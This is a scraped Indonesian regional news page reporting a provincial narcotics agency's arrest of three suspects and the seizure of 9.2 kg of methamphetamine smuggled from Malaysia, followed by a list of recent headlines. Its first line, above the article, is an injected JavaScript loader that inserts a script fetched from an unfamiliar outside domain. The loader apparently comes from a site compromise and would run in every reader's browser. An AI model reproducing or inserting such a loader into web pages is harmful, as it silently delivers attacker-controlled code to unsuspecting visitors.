(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

BNNP Kalteng Bongkar Jaringan Narkoba Internasional dengan Barbuk 9,2 Kg


KANALKALIMANTAN.COM, PALANGKARAYA – Tim Berantas Badan Narkotika Nasional Provinsi (BNNP) Kalimantan Tengah berhasil meringkus jaringan narkoba internasional di wilayah Sampit, Kabupaten Kotawaringin Timur, dengan barang bukti narkoba jenis sabu 9,2 kilogram senilai miliaran rupiah.

Dalam penindakan, petugas BNNP Kalteng berhasil menangkap tiga tersangka yang kini telah diamankan yaitu berinisial BN, YA, dan TS. Ketiga jaringan sindikat narkoba internasional itu ditangkap pada dua lokasi berbeda.

Tersangka BN dan TS ditangkap di wilayah Sampit, Kabupaten Kotawaringin Timur, sedangkan tersangka YA ditangkap saat berada Jakarta Selatan, di gang SD MHT belakang SMPN 240 Jakarta. Mereka disebut merupakan residivis dalam kasus yang sama.

Baca juga: Massa Berpakaian Adat Dayak Unjuk Rasa di DPRD Kalsel, Kecam Pernyataan Rocky Gerung

Saat penggerebekan dilakukan, para pelaku pun tak berkutik. Petugas meminta mereka menunjukkan barang bukti narkoba jenis sabu yang disimpan di dalam tas ransel.

Dari hasil pemeriksaan petugas, 9,2 Kg narkoba jenis sabu itu ternyata didatangkan dari Malaysia yang diselundupkan melalui jalur darat, kemudian dibawa ke Kalimantan Tengah melalui Kota Pontianak, Kalimantan Barat.

Kepala Bidang Pemberantasan dan Intelijen BNNP Kalteng Kombes Pol Agustiyanto mengatakan, ketiga tersangka berasal dari dua kelompok jaringan narkoba yang berbeda.

Untuk menangkap pelaku, Tim Berantas BNNP Kalteng membutuhkan waktu selama tiga bulan untuk menyelidiki gerak-gerik para tersangka, hingga akhirnya para pelaku berhasil diringkus.

Baca juga: AR Diringkus, Polresta Banjarmasin Sita 33 Paket Sabu dan 100 Biji Ekstasi

“Barang bukti sabu yang berhasil kami amankan dari para tersangka ini, dari pengakuan mereka rencananya akan diedarkan di wilayah Sampit dan Palangkaraya dengan total barang bukti 9,2 kilogram yang didatangkan dari Malaysia,” ujarnya, Selasa (1/8/2023).

Atas perbuatannya, para pelaku kini dijerat dengan Undang-Undang tentang Narkotika dengan ancaman hukuman mati. (Beritasatu.com/kk)

Reporter : Beritasatu.com
Editor : kk


Al Ghifari

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

3 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

5 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

6 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

15 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

15 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

16 jam ago

This website uses cookies.